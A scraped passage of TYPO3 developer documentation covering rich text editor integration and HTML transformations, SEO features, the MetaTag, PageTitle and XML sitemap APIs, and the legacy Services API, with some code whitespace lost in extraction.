&& isset($parameterArray['fieldConf']['config']['enableRichtext'])
&& (bool)$parameterArray['fieldConf']['config']['enableRichtext'] === true// If RTE config is found (prepared by TcaText data provider)
&& isset($parameterArray['fieldConf']['config']['richtextConfiguration'])
&& is_array($parameterArray['fieldConf']['config']['richtextConfiguration'])
// If RTE is not disabled on configuration level
&& !$parameterArray['fieldConf']['config']['richtextConfiguration']['disabled']
) {
return RichTextElement::class;
}
returnnull;
}
protectedfunctiongetBackendUserAuthentication(): BackendUserAuthentication{
return $GLOBALS['BE_USER'];
}
publicfunctionsetData(array $data): void{
// TODO: Implement setData() method.
}
}
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Next step is to implement the RichtTextElement class. You can look up the
code of EXT:rte_ckeditor/Classes/Form/Element/RichTextElement.php (GitHub), which
does the same for ckeditor. What basically happens in its render() function,
is to apply any settings from the fields TCA config and then printing out all
of the html markup and javascript necessary for booting up the ckeditor.
Rich Text Editors (RTE) in the TYPO3 frontend
When you add forms to a website you might want to offer
formatting options like bold, italic etc.. Rich Text Editors offer
extensive options that are configurable for individual needs.
This chapter outlines conceptual and technical information
about adding an RTE on frontend pages.
The CKEditor integrated in the frontend
The following list describes features and corresponding implementation
effort ordered from simple to complex.
The optional features
Simple text formatting can be achieved using well-known buttons.
This solution is used to format text (bold, italic, underlined, ...),
create lists or tables, etc..
These options are predefined in the RTE and
and wrap selected content in html-tags, by default without any attributes
like id or class for example.
Advanced text-formatting can be achieved with predefined blocks and
according style. Those blocks wrap selected content in html-elements
with CSS-classes that can be styled in a stylesheet. The formats have
to be defined by names, short description and according styling.
CKEditor offers a dropdown button for those block-styles.
Editing the Source could allow the user optionally to add special
HTML-elements or attributes like id, class or more.
It might be desired to allow users to upload files like images,
PDF-documents or other multi-media-content. Images and perhaps some
other file-types could be displayed in the content, further file-types
could be linked.
Editing data in the frontend requires that applying forms are pre-filled
with existing data. This might require some considerations concerning
multiple aspects.
Links might be chosen out of the existing pages of the website, those
links can be added as internal instead of external links but require
a visual and functional option to select from existing pages.
This option requires an Ajax-connection to interact with TYPO3.
For special websites like intranets it might be desired additionally
to not only allow the upload of media but also to choose media out of
those that exist already in a public directory on the server.
This option requires an Ajax-connection to interact with TYPO3.
Attention
User input in the frontend always represents a general security risk.
A Rich Text Editor might reduce this awareness because it looks like a
professional solution but in fact might increase vulnerability if features
are enabled or included without proper handling on the server.
It's advised to allow only required input and to disallow any further
content and features.
Files: Any required files to include a form in the frontend require
an extension, this can be a site package but also a separate extension.
Required filetypes include JavaScript, Fluid templates, CSS and PHP.
JavaScript: Rendering the content in the RTE in the frontend is done
with support of JavaScript, so it does not work if the user has disabled
JavaScript, i.e. for accessibility reasons.
Validation: The code that is built on base of the user-input should
be filtered. The RTE is doing this based on JavaScript and configuration,
and the server shall receive only this pre-processed code when the form
is sent.
Nevertheless the transferred data have to be validated on server-side
again because it's possible to circumvent validation in the frontend by
sending the data without filling the real form or just by disabling
JavaScript.
Note
Extensions like the TYPO3 form framework or powermail might offer
solutions to handle some RTE-related challenges. This description is
not related to any of those extensions, as it would exceed the context
of this API. If an existing extension is used for forms then the manual
or support in context of the corresponding extension should help.
The solution
The chapter CKEditor (rte_ckeditor) includes examples
and common challenges for the frontend. You can use other editors with TYPO3
and some points, like handling of data on the server, are independent of the
distinct editor in the frontend. Therefore the chapter is advised even if you
use another editor.
Transformation of content between the database and an RTE is needed if
the format of the content in the database is different than the format
understood by an RTE. A simple example could be that bold-tags in the
database <b> should be converted to <strong> tags in the RTE or that
references to images in <img> tags in the database should be relative
while absolute in the RTE. In such cases a transformation is needed to
do the conversion both ways: from database (DB) to RTE and from RTE to
DB.
Generally transformations are needed for two reasons:
Data Formats: If the agreed format of the stored content in TYPO3
is different from the HTML format the RTE produces. This could be
issues like XHTML, banning of certain tags or maybe a hybrid format in
the database.
RTE specifics: If the RTE has special requirements to the content
before it can be edited and if that format is different from what we
want to store in the database. For instance an RTE could require a
full HTML document with <html>, <head> and <body> - obviously we don't
want that in the database and likewise we will have to wrap content in
such a dummy-body before it can be edited.
Hybrid modes
Many of the transformations performed back and forth in the TYPO3
backend date back to when it was a challenge to incorporate a RTE
in a browser. It was then sometimes needed to fall back to a simple
<textarea> where rich text had to be presented in a simple enough
way so that editors could work with it with no visual help.
This is what the mode css_transform tries to achieve: maintain a
data format that is as human readable as possible while still offering
an RTE for editing if applicable.
To know the details of those transformations, please refer to the
Transformation overview. Here is a short example of a
hybrid mode:
In the database
This is how the content in the database could look for a hybrid mode
(such as css_transform):
This is line number 1 with a <ahref="t3://page?uid=123">link</a> inside
This is line number 2 with a <b>bold part</b> in the text
<palign="center">This line is centered.</p>
This line is just plain
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As you can see the TYPO3-specific tag,
<a href="t3://page?uid=123"> is used for the link to page 123.
This tag is designed to be easy for editors to insert and easy for TYPO3
to parse and understand. The t3:// scheme is later resolved to a real
link in the frontend by the The LinkHandler API. Further line 2 shows
bold text. In line 3 the situation is that the paragraph should be
centered - and there seems to be no other way than wrapping the line
in a <p> tag with the "align" attribute. Not so human readable but we
can do no better without an RTE. Line 4 is just plain.
Generally this content will be processed before output on a page of
course. Typically the rule will be this: "Wrap each line in a <p> tag
which is not already wrapped in a <p> tag and run all
<a>-tags with TYPO3-specific schemes through a Linkhandler to
resolve them to real uris." and thus the final result will be valid HTML.
In RTE
The content in the database can easily be edited as plain text thanks
to the "hybrid-mode" used to store the content. But when the content
above from the database has to go into the RTE it will not work if
every line is not wrapped in a <p> tag!
This is what eventually goes into the RTE:
<p>This is line number 1 with a <ahref="t3://page?uid=123">link</a> inside</p><p>This is line number 2 with a <strong>bold part</strong> in the text</p><palign="center">This line is centered.</p><p>This line is just plain</p>
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This process of conversion from one format to the other is what
transformations do!
Configuration
Transformations are mainly defined in the
'special configurations' of the $TCA "types"-configuration.
See label 'special-configuration' in older versions of the TCA-Reference.
The transformations you can do with TYPO3 are done in the class
\TYPO3\CMS\Core\Html\RteHtmlParser. There is typically a function for each
direction; From DB to RTE and from RTE to DB.
The transformations are invoked in two cases:
Before content enters the editing form This is done by calling the method
\TYPO3\CMS\Core\Html\RteHtmlParser::transformTextForRichTextEditor().
Before content is saved in the database This is done by calling the method
\TYPO3\CMS\Core\Html\RteHtmlParser::transformTextForPersistence().
The transformation of the content can be configured by listing which
transformation filters to pass it through. The order of the list is
the order in which the transformations are performed when saved to the
database. The order is reversed when the content is loaded into the
RTE again.
Transforms the HTML markup either for display in the rich-text editor or for
saving in the database. The name "css_transform" is historical; earlier
TYPO3 versions had a long since removed "ts_transform" mode, which basically
only saved a minimum amount of HTML in the database and produced a lot of
nowadays outdated markup like <font> tag style rendering in the
frontend.
ts_links
ts_links
Scope
RTE Transformation filter
Processes anchor tags and resolves them via
\TYPO3\CMS\Core\LinkHandling\LinkService before saving them to
the database, while using the TYPO3-internal
t3:// syntax.
Historical Perspective on RTE Transformations
The next sections describe in more details the necessity of RTE
transformations. The text was written at the birth of transformations
and might therefore be somewhat old-fashioned. However it checked out
generally OK and may help you to further understand why these issues
exist. The argumentation is still valid.
The RTE applications typically expect to be fed with content formatted
as HTML. In effect an RTE will discard content it doesn't like, for
instance fictitious HTML tags and line breaks. Also the HTML content
created by the RTE editor is not necessarily as 'clean' as you might
like.
The editor has the ability to paste in formatted content copied/cut
from other websites (in which case images are included!) or from text
processing applications like MS Word or Star Office. This is a great
feature and may solve the issue of transferring formatted content from
e.g. Word into TYPO3.
However these inherent features - good or bad - raises the issue how
to handle content in a field which we do not wish to 'pollute' with
unnecessary HTML-junk. One perspective is the fact that we might like
to edit the content with Netscape later (for which the RTE cannot be
used, see above) and therefore would like it to be 'human readable'.
Another perspective is if we might like to use only Bold and Italics
but not the alignment options. Although you can configure the editor
to display only the bold and italics buttons, this does not
prevent users from pasting in HTML-content copied from other websites
or from Microsoft Word which does contain tables, images, headlines
etc.
The answer to this problem is a so called 'transformation' which you
can configure in the $TCA (global, authoritative configuration) and
which you may further customize through page TSconfig (local
configuration for specific branches of the website). The issue of
transformations is best explained by the following example from the
table, tt_content (the content elements).
RTE Transformations in Content Elements
The RTE is used in the bodytext field of the content elements,
configured for the types "Text" and "Text & Images".
The rtehtmlarea RTE activated in the TYPO3 backend
The configuration of the two 'Text'-types are the same: The toolbar
includes only a subset of the total available buttons. The reason is
that the text content of these types, 'Text' and 'Text & Images' is
traditionally not meant to be filled up with HTML-codes. But more
important is the fact that the content is usually (by the standard
TypoScript content rendering used on the vast majority of TYPO3
websites!) parsed through a number of routines.
In order to understand this, here is an outline of what typically
happens with the content of the two Text-types when rendered by
TypoScript for frontend display:
All line breaks are converted to <br /> codes.
(Doing this enables us to edit the text in the field rather naturally
in the backend because line breaks in the edit field comes out as line
breaks on the page!)
All instances of 'http://...' and 'mailto:....' are converted to
links.
(This is a quick way to insert links to URLs and email address)
The text is parsed for special tags, so called 'typotags', configured
in TypoScript. The default typotags tags are <LINK> (making links),
<TYPOLIST> (making bulletlists), <TYPOHEAD> (making headlines) and
<TYPOCODE> (making monospaced formatting).
(The <LINK> tag is used to create links between pages inside TYPO3.
Target and additional parameters are automatically added which makes
it a very easy way to make sure, links are correct. <TYPOLIST> renders
each line between the start and end tag as a line in a bulletlist,
formatted like the content element type 'Bulletlist' would be. This
would typically result in a bulletlist placed in a table and not using
the bullet-list tags from HTML. <TYPOHEAD> would display the tag
content as a headline. The type-parameter allows to select between the
five default layout types of content element headlines. This might
include graphical headers. <TYPOCODE> is not converted).
All other 'tags' found in the content are converted to regular text
(with htmlspecialchars) unless the tag is found in the 'allowTags'
list.
(This list includes tags like 'b' (bold) and 'i' (italics) and so
these tags may be used and will be outputted. However tags like
'table', 'tr' and 'td' is not in this list by default, so table-html
code inserted will be outputted as text and not as a table!)
Constants and search-words - if set - will be highlighted or inserted.
(This feature will mark up any found search words on the pages if the
page is linked to from a search result page.)
And finally the result of this processing may be wrapped in
<font>-tags, <p>-tags or whatever is configured. This depends on
whether a stylesheet is used or not. If a stylesheet is used the
individual sections between the typotags are usually wrapped
separately.
Now lets see how this behaviour challenges the use of the RTE. This
describes how the situation is handled regarding the two Text-types as
mentioned above. (Numbers refer to the previous bulletlist):
Line breaks: The RTE removes all line breaks and makes line breaks
itself by either inserting a <P>...</P> section or <DIV>...</DIV>.
This means we'll have to convert existing lines to <P>...</P> before
passing the content to the RTE and further we need to revert the <DIV>
and <P> sections in addition to the <BR>-tagsto line breaks when the
content is returned to the database from the RTE.
The greatest challenge here is however what to do if a <DIV> or <P>
tag has parameters like 'class' or 'align'. In that case we can't just
discard the tag. So the tag is preserved.
The substitution of http:// and mailto: does not represent any
problems here.
"Typotags": The typotags are not real HTML tags so they would be
removed by the RTE. Therefore those tags must be converted into
something else. This is actually an opportunity and the solution to
the problem is that all <LINK>-tags are converted into regular
<A>-tags, all <TYPOLIST> tags are converted into <OL> or <UL> sections
(ordered/unordered lists, type depends on the type set for the
<TYPOLIST> tag!), <TYPOHEAD>-tags are converted to <Hx> tags where the
number is determined by the type-parameter set for the <TYPOHEAD>-tag.
The align/class-parameter - if set - is also preserved. When the HTML-
tags are returned to the database they need to be reverted to the
specific typotags.
Other typotags (non-standard) can be preserved by being converted to a
<SPAN>-section and back. This must be configured through Page
TSconfig.
(Update: With "css_styled_content" and the transformation "ts_css"
only the <link> typotag is left. The <typolist> and <typohead> tags
are obsolete and regular HTML is used instead)
Allowed tags: As not all tags are allowed in the display on the
webpage, the RTE should also reflect this situation. The greatest
problem is tables which are (currently) not allowed with the Text-
types. The reason for this goes back to the philosophy that the field
content should be human readable and tables are not very 'readable'.
(Update: With "css_styled_content" and the transformation "ts_css"
tables are allowed)
Constants and search words are no problem.
Global wrapping does not represent a problem either. But this issue is
related more closely to the line break-issue in bullet 1.
Finally images inserted are processed very intelligently because the
'magic' type images are automatically post-processed to the correct
size and proportions after being changed by the RTE in size.
Also if images are inserted by a copy/paste operation from another
website, the image inserted will be automatically transferred to the
server when saved.
In addition all URLs for images and links are inserted as absolute
URLs and must be converted to relative URLs if they are within the
current domain.
Conclusion
These actions are done by so called transformations which are
configured in the $TCA. Basically these transformations are admittedly
very customized to the default behavior of the TYPO3 frontend. And
they are by nature "fragile" constructions because the content is
transformed back and forth for each interaction between the RTE and
the database and may so be erroneously processed. However they serve
to keep the content stored in the database 'clean' and human readable
so it may continuously be edited by non-RTE browsers and users. And
furthermore it allows us to insert TYPO3-bulletlists and headers
(especially graphical headers) visually by the editor while still
having TYPO3 controlling the output.
Search engine optimization (SEO)
TYPO3 contains various SEO related functionality out of the box.
Note
Most of these features are provided by the optional system extension
EXT:seo. You can find information about how to install and use it in the
EXT:seo manual.
The following provides an introduction in those features.
Site title
The site title is basically a variable that describes the current web site. It is used
in title tag generation as for example prefix. If your website is called "TYPO3 News" and
the current page is called "Latest" the page title will be something like "TYPO3 News: Latest".
The site title can be configured in the sites module and is translatable.
Hreflang Tags
"hreflang" tags are added automatically for multi-language websites based on the one-tree principle.
The href is relative as long as the domain is the same. If the domain differs the href becomes absolute.
The x-default href is the first supported language. The value of "hreflang" is the one set in the sites module
(see Adding Languages)
Canonical Tags
TYPO3 provides built-in support for the
<link rel="canonical" href=""> tag.
If the Core extension EXT:seo is installed, it will automatically add the canonical link to the page.
The canonical link is basically the same absolute link as the link to the current hreflang and is meant
to indicate where the original source of the content is. It is a tool to prevent duplicate content
penalties.
In the page properties, the canonical link can be overwritten per language. The link wizard offers all
possibilities including external links and link handler configurations.
Should an empty href occur when generating the link to overwrite the canonical (this happens e.g. if the
selected page is not available in the current language), the fallback to the current hreflang will be activated
automatically. This ensures that there is no empty canonical.
Warning
If you have other SEO extensions installed that generate canonical links, you have to make sure only one creates it.
If both the Core and an extension are generating a canonical link, it will
result in 2 canonical links which might cause confusion for search engines.
The TYPO3 Core ships the whole API and the needed fields to fulfill all necessary technical
requirements of implementing SEO.
Besides that, there are lots of tools you can use to optimize your rankings.
If you install additional SEO extensions in TYPO3, make sure you check the following recommendations:
The extension should stick to the Core fields where possible
The extension should stick to the Core behaviour where possible
The extension could extend TCA with additional helpers for your editors, like:
Readability checks
Keyword and content checks
Previews
Page speed insights
Large-Language-Model (LLM)-enabled text creation
Some of these tools might need external services, others can work completely on-premise.
Recommendations for the description field
Danger
Current state of SEO research states that the description in the meta-tags
should be either lovely crafted by hand, or left out completely. (end of 2019)
If you are unsure contact an expert.
Duplicate meta descriptions should only be used under specific circumstances
Duplicate meta descriptions should only be used on a few pages
Leave the description empty if you do not can provide one
Provide an engaging explanation of your page, to ensure people will be motivated to visit your site
If SEO is not your thing, professional services are available to support you
Suggested configuration options for improved SEO in TYPO3
The configuration of sites is done with the Site Management > Sites
module.
As the settings for your websites are important for SEO purposes as well, please
make sure you check the following fields.
To get more in depth information about the site handling please refer to the
Site handling docs.
Entry Point
Please ensure, that you have configured your sites so that they all have an entry point. This is used for
properly generating the canonical tags, for example.
Warning
Please be aware that for SEO purposes it is best practice to use a fully qualified domain name (for example:
https://www.example.com/en/).
Therefore TYPO3 requires to enter such a full domain name for your Entry Point configuration to support
SEO enhancements as intended.
Languages
Ensure, that you setup the site languages correctly. All languages should have the right information in the Locale
and other language-dependant input fields. When set correctly, TYPO3 will automatically connect your page in the different languages
so that search engines understand their relations. This it to ensure that the search engine knows which page to show
when someone is searching in a specific language.
Hint
Even if you have only one language, make sure all language input fields in the Locale tab are also set correctly.
Giving wrong information to search engines will not help you to rank higher.
Although TYPO3 will respond with a HTTP status code 404 (Not found) when a page is not found, it is best practice to
have a proper content telling the user that the page they requested is not available. This can guide them to another
page or for example to a search function of your website.
The robots.txt file is a powerful feature and should be used with care. It will deny or allow search engines to access your pages.
By blocking access to your pages, search engines won't crawl these pages. You should make sure that this will not
prevent the search engines from finding important pages.
It is best practice to keep your robots.txt as clean as possible. An example of a minimal version of your robots.txt:
# This space intentionally left blank. Only add entries when you know how powerful the robots.txt is.
User-agent: *
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On Static routes you can find more details on how to create a static route that will show
this information when visiting https://www.example.com/robots.txt.
When you want to disallow specific URLs, you can use the
Index this page
option in the page properties or set the robot HTTP header X-Robots-tag manually.
Static Routes and redirects
Having correct redirects and choosing the appropriate
status code is a very important part of SEO.
It is possible to manage redirects via the TYPO3
redirects extension, but it is not the only option and
from a performance perspective it may not be the best solution. Please also see
Performance in the EXT:redirects documentation.
Tags for SEO purposes in the HTML header
Hreflang link-tags
The generation of the
<link rel="alternate" hreflang="" href="" />
tags is done automatically if the page is available in other languages.
This feature should work correctly in almost all cases.
TYPO3 is using PSR-14 events to handle the generation of those hreflang link-tags.
If, for some reason, you would like to alter or remove the automatically generated
tags, you can register your own EventListener. This EventListener should listen
to the
\TYPO3\CMS\Frontend\Event\ModifyHrefLangTagsEvent event. Just make
sure your EventListener is ordered after the
\TYPO3\CMS\Seo\HrefLang\HrefLangGenerator
listener.
Just like the hreflang link-tags, the
<link rel="canonical" href="" /> link-tag is also generated automatically.
If you have a specific edge case, and you don't want TYPO3 to render the tag, you can disable rendering completely.
You can put this line in the ext_localconf.php of an extension and also make sure your extension is loaded after EXT:seo:
Links in your website are quite important. You can use third party applications to check all your links, but you can
also use the core extension EXT:linkvalidator to ensure all the links in your site are working as expected.
If you want to set specific title tags for the single view of a plugin,
we recommend using the Page title API.
Setting missing OpenGraph meta tags
Most of the OpenGraph meta tags are rendered automatically when EXT:seo is installed. If you
want to add meta tags properties such as og:title, og:description and og:image, you can use
TypoScript code like this:
If you want to set specific title tags for the single view of a plugin,
we recommend using the MetaTag API.
Setting fallbacks for meta tags
As you can see on TypoScript and PHP the tags are first
set by PHP and after that the TypoScript config is handled. As EXT:seo is only
adding the meta tags for the SEO and Social media fields (if they are filled in
the page properties), you have some possibilities to add fallbacks.
Because EXT:seo is handling the tags in PHP-scope, you are able to add those
fallbacks using TypoScript. You can add those tags with TypoScript and those will
only be rendered when EXT:seo has not rendered them.
An example to set a fallback description and og:description:
page {
meta {
description = Your fallback description tag
og:description = Your fallback OG:description tag
}
}
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Hint
Having fallbacks for those fields seems to be a good idea, but please consider
if you really want those fallbacks. Those meta tags should tell search engines
or social networks, what the page is about. Social networks also have their own
fallbacks. Setting a fallback for og:description to the description field might
not be needed as the social networks have such a fallback as well. So please consider
if you want to add those tags if they do not bring additional valuable information.
Setting fallbacks for og:image and twitter:image
If you want to have a fallback og:image or twitter:image, you can use this little snippet.
categories:MySitePackage:label:'My Site Package'settings:MySitePackage.author:label:'Default Author'category:MySitePackagedescription:'The author that will be used for the meta tag "author" unless otherwise set in the page properties. 'type:stringdefault:'J. Doe'
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Note
If you want to set an author for the single view of a plugin,
we recommend using the MetaTag API.
In general the system will generate the canonical using the same logic as for
cHash.
Note
The canonical API is provided by the optional system extension
EXT:seo. You can find information about how to install and use it in the
EXT:seo manual.
Including specific arguments for the URL generation
TYPO3 will building a URI of the current page and append query strings
which are needed for the cHash calculation (vital arguments to uniquely identify
the given content URI). This is especially important with for example detail pages of records. The query parameters are crucial to show the right content.
It is possible to additionally include specific arguments.
This is achieved by adding those arguments to the configuration:
Non-vital arguments in general should be excluded from cHash and not be listed as additionalCanonicalizedUrlParameters.
See the possible options in Caching regarding excluding arguments from cHash.
The idea behind that is:
If a URL is worth caching (because it has different content) it is worth having a canonical as well.
The MetaTag API is available for setting meta tags in a flexible way.
Note
Usually, it is sufficient to set meta tags using the API of the
\TYPO3\CMS\Core\Page\PageRenderer which uses the MetaTag API
internally. For all other cases, use the MetaTag API directly.
The API uses
MetaTagManagers to manage the tags for a "family" of meta tags. The Core e.g. ships an
OpenGraph MetaTagManager that is responsible for all OpenGraph tags.
In addition to the MetaTagManagers included in the Core, you can also register your own
MetaTagManager in the
\TYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry .
Using the MetaTag API
To use the API, first get the right
MetaTagManager for your tag from the
MetaTagManagerRegistry.
You can use that manager to add your meta tag; see the example below for the
og:title meta tag.
useTYPO3\CMS\Core\MetaTag\MetaTagManagerRegistry;
useTYPO3\CMS\Core\Utility\GeneralUtility;
$metaTagManager = GeneralUtility::makeInstance(MetaTagManagerRegistry::class)->getManagerForProperty('og:title');
$metaTagManager->addProperty('og:title', 'This is the OG title from a controller');
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This code will result in a
<meta property="og:title" content="This is the OG title from a controller" /> tag in frontend.
If you need to specify sub-properties, e.g.
og:image:width, you can use the following code:
If you need to specify the settings and rendering of a specific meta tag (for example when you want to make it possible
to have multiple occurrences of a specific tag), you can create your own
MetaTagManager.
This
MetaTagManager must implement
\TYPO3\CMS\Core\MetaTag\MetaTagManagerInterface .
To use the manager, you must register it in
ext_localconf.php:
Registering a
MetaTagManager works with the
DependencyOrderingService. So you can also specify the
priority of the manager by setting the third (before) and fourth (after) parameter of the method. If you for example
want to implement your own
OpenGraphMetaTagManager, you can use the following code:
This will result in
MyOpenGraphMetaTagManager having a higher priority and it will first check if your own
manager can handle the tag before it checks the default manager provided by the Core.
TypoScript and PHP
You can set your meta tags by TypoScript and PHP (for example from plugins). First the meta tags from content (plugins)
will be handled. After that the meta tags defined in TypoScript will be handled.
It is possible to override earlier set meta tags by TypoScript if you explicitly say this should happen. Therefore the
meta.*.replace option was introduced. It is a boolean flag with these values:
1: The meta tag set by TypoScript will replace earlier set meta tags
0: (default) If the meta tag is not set before, the meta tag will be created. If it is already set, it will ignore the meta tag set by TypoScript.
When you set the property replace to
1 at the specific tag, the tag will replace tags that are set from plugins.
By using the new API it is not possible to have duplicate metatags, unless this is explicitly allowed. If you use custom
meta tags and want to have multiple occurrences of the same meta tag, you have to create your own
MetaTagManager.
In order to keep setting the page titles in control, you can use the PageTitle
API. The API uses page title providers to define the page title based on
page record and the content on the page.
Based on the priority of the providers, the
\TYPO3\CMS\Core\PageTitle\PageTitleProviderManager will check the
providers if a title is given by the provider. It will start with the highest
priority and will end with the lowest priority.
By default, the Core ships two providers. If you have installed the system
extension SEO, the provider with the (by default) highest
priority will be the
\TYPO3\CMS\Seo\PageTitle\SeoTitlePageTitleProvider .
When an editor has set a value for the SEO title in the page properties of the
page, this provider will provide that title to the
PageTitleProviderManager. If you have not installed the SEO system
extension, the field and provider are not available.
The fallback provider with the lowest priority is the
\TYPO3\CMS\Core\PageTitle\RecordPageTitleProvider . When no other title is
set by a provider, this provider will return the title of the page.
Besides the providers shipped by the Core, you can add own providers. An
integrator can define the priority of the providers for his project.
Extension developers may want to have an own provider for page titles. For
example, if you have an extension with records and a detail view, the title of
the page record will not be the correct title. To make sure to display the
correct page title, you have to create your own page title provider. It is
quite easy to create one.
Example: Set the page title from your extension's controller
First, create a PHP class in your extension that implements the
\TYPO3\CMS\Core\PageTitle\PageTitleProviderInterface , for example by
extending
\TYPO3\CMS\Core\PageTitle\AbstractPageTitleProvider . Within
this method you can create your own logic to define the correct title.
config {
pageTitleProviders {
sitepackage {
provider = MyVendor\MySitepackage\PageTitle\WebsiteTitleProvider
before = record
after = seo
}
}
}
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The registered page title providers are called after each other in the
configured order. The first provider that returns a non-empty value is used,
the providers later in the order are ignored.
Therefore our custom provider should be loaded before record, the
default provider which always returns a value. If the system extension
typo3/cms-seo
is loaded the default SEO Title has a particular format,
you can change this by loading your custom provider before seo.
Define the priority of PageTitleProviders
The priority of the providers is set by the TypoScript property
config.pageTitleProviders. This way an integrator is able to set
the priorities for his project and can even have conditions in place.
By default, the Core has the following setup:
config.pageTitleProviders {
record {
provider = TYPO3\CMS\Core\PageTitle\RecordPageTitleProvider
}
}
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The sorting of the providers is based on the
before and
after parameters. If you want a provider to be handled before a
specific other provider, just set that provider in the
before,
do the same with
after.
If you have installed the system extension SEO, you will also get a second
provider. The configuration will be:
config.pageTitleProviders {
record {
provider = TYPO3\CMS\Core\PageTitle\RecordPageTitleProvider
}
seo {
provider = TYPO3\CMS\Seo\PageTitle\SeoTitlePageTitleProvider
before = record
}
}
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First the
SeoTitlePageTitleProvider (because it will be handled before
record) and, if this providers did not provide a title, the
RecordPageTitleProvider will be checked.
You can override these settings within your own installation. You can add as
many providers as you want. Be aware that if a provider returns a non-empty
value, all provider with a lower priority will not be checked.
XML sitemap
It is possible to generate XML sitemaps for SEO purposes without using 3rd party
plugins. When this feature is enabled, a sitemap index file is created with one
or more sitemaps in it. By default, there will be one sitemap that contains all
pages of the current site and language. You can render different sitemaps
for each site and language.
Note
The XML sitemap is provided by the optional system extension
EXT:seo. You can find information about how to install and use it in the
EXT:seo manual.
XML sitemaps are part of the "seo" system extension. If the extension is not
available in your installation, require it as described here: Installation, EXT:seo
Then include the static TypoScript template XML Sitemap (seo).
How to access your XML sitemap
You can access the sitemaps by visiting https://example.org/?type=1533906435.
You will first see the sitemap index. By default, there is one sitemap in the
index. This is the sitemap for pages.
Note
Each siteroot and language configured in the
site handling has its own XML sitemap depending on the
entry point.
Example:
Entry point / - https://example.org/?type=1533906435: for default language
Entry point /fr/ - https://example.org/fr/?type=1533906435: for French
Entry point /it/ - https://example.org/it/?type=1533906435: for Italian
How to setup routing for the XML sitemap
You can use the PageType decorator to map
the page type to a fixed suffix. This allows you to expose the sitemap with a
readable URL, for example https://example.org/sitemap.xml.
Additionally, you can map the parameter sitemap, so that the links to the different
sitemap types (pages and additional ones, for example, from the news extension) are also mapped.
The rendering of sitemaps is based on XmlSitemapDataProviders. EXT:seo ships
with two XmlSitemapDataProviders.
For pages
The
\TYPO3\CMS\Seo\XmlSitemap\PagesXmlSitemapDataProvider will generate a
sitemap of pages based on the detected siteroot. You can configure whether you
have additional conditions for selecting the pages. It is also possible to
exclude certain doktypes. Additionally, you may
exclude page subtrees from the sitemap (e.g internal pages). This can be
configured using TypoScript (example below) or using the constants editor in the
backend.
plugin.tx_seo {
config {
xmlSitemap {
sitemaps {
pages {
config {
excludedDoktypes = 3, 4, 6, 7, 199, 254, 255, 137, 138
additionalWhere = AND ({#no_index} = 0 OR {#no_follow} = 0)
#rootPage = <optionally specify a different root page. (default: rootPageId from site configuration)>
excludePagesRecursive = <comma-separated list of page IDs>
}
}
}
}
}
}
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Note
The doktypes 137 and 138 in the example above are custom doktypes.
The other doktypes given are the ones excluded by default by the SEO extension.
For records
If you have an extension installed and want a sitemap of those records, the
\TYPO3\CMS\Seo\XmlSitemap\RecordsXmlSitemapDataProvider can be used. The
following example shows how to add a sitemap for news records:
Change frequencies define how often each page is approximately updated and hence
how often it should be revisited (for example: News in an archive are "never"
updated, while your home page might get "weekly" updates).
Priority allows you to define how important the page is compared to other pages
on your site. The priority is stated in a value from 0 to 1. Your most important
pages can get an higher priority as other pages. This value does not affect how
important your pages are compared to pages of other websites. All pages and
records get a priority of 0.5 by default.
The settings can be defined in the TypoScript configuration of an XML sitemap by
mapping the properties to fields of the record by using the options
changeFreqField and
priorityField.
changeFreqField needs to point to a field containing string values
(see
pages TCA definition of field
sitemap_changefreq),
priorityField needs to point to
a field with a decimal value between 0 and 1.
Note
Both the priority and the change frequency have no impact on your rankings.
These options only give hints to search engines in which order and how often
you would like a crawler to visit your pages.
Sitemap of records without sorting field
Sitemaps are paginated by default. To ensure that as few pages of the sitemap
as possible are changed after the number of records is changed, the items in the
sitemaps are ordered. By default, this is done using a sorting field. If you do
not have such a field, make sure to configure this in your sitemap configuration
and use a different field. An example you can use for sorting based on the uid
field:
If you need more logic in your sitemap, you can also write your own
XmlSitemapProvider. You can do this by extending the
\TYPO3\CMS\Seo\XmlSitemap\AbstractXmlSitemapDataProvider class. The main
methods are
getLastModified() and
getItems().
The
getLastModified() method is used in the sitemap index and has to
return the date of the last modified item in the sitemap.
The
getItems() method has to return an array with the items for the
sitemap:
The
loc element is the URL of the page to be crawled by a search engine.
The
lastMod element contains the date of the last update of the
specific item. This value is a UNIX timestamp. In addition, you can include
changefreq and
priority as keys in the array to give
search engines a hint.
Use a customized sitemap XSL file
The XSL file used to create a layout for an XML sitemap can be configured at
three levels:
This document describes the services functionality included in the
TYPO3 Core.
Note
The Services API is one of the older core APIs that did not find
much traction over the years. The core itself only uses it for frontend
and backend user authentication.
Additionally, only a couple of extensions use the Services API, and not
much happened to the underlying codebase lately. Extension authors may
want to ignore this API for new stuff and implement own factory or service
related patterns that may fit needs better.
Attention
This chapter is about the Services API provided by the core. Don't confuse
it with casual PHP classes within the directory Classes/Service found in many
extensions - they usually do not use the API mentioned here.
Authentication service classes in the Core extend
\TYPO3\CMS\Core\Service\AbstractAuthenticationService.
In comparison, for additional information on what the Core usually understands
as "casual" service class, see the coding guidelines.
The whole Services API works as a registry. Services are registered
with a number of parameters, and each service can easily be overridden
by another one with improved features or more specific capabilities,
for example. This can be achieved without having to change the original
code of TYPO3 CMS or of an extension.
Services are PHP classes packaged inside an extension.
The usual way to instantiate a class in TYPO3 CMS is:
Getting a service instance is achieved using a different API. The
PHP class is not directly referenced. Instead a service is identified
by its type, sub type and exclude service keys:
string $serviceType:
Type of service (service key)
string $serviceSubType (default ''):
Sub type like file extensions or similar. Defined by the service.
array $excludeServiceKeys (default []):
List of service keys which should be excluded in the search for a service. Array.
The same service can be provided by different extensions.
The service with the highest priority and quality (more on that later)
is chosen automatically for you.
Reasons for using the Services API
The
AbstractService has been removed and it is planned to also
deprecate the other methods of the Service API in the future. The Service API
should only be used for frontend and backend user authentication.
Using Services
This chapter describes the different ways in which services
can be used. It also explains the most important notion about
services: precedence.
Several services may be declared to do the same job. What will
distinguish them is two intrinsic properties of services: priority and
quality. Priority tells TYPO3 CMS which service should be called first.
Normal priorities vary between 0 and 100, but can exceptionally be set
to higher values (no maximum). When two services of equal priority are
found, the system will use the service with the best quality.
The priority is used to define a call order for services. The default
priority is 50. The service with the highest priority is called first.
The priority of a service is defined by its developer, but may be
reconfigured (see Configuration). It is thus very easy to add
a new service that comes before or after an existing service, or to
change the call order of already registered services.
The quality should be a measure of the worthiness of the job performed
by the service. There may be several services who can perform the same
task (e.g. extracting meta data from a file), but one may be able to
do that much better than the other because it is able to use a third-
party application. However if that third-party application is not
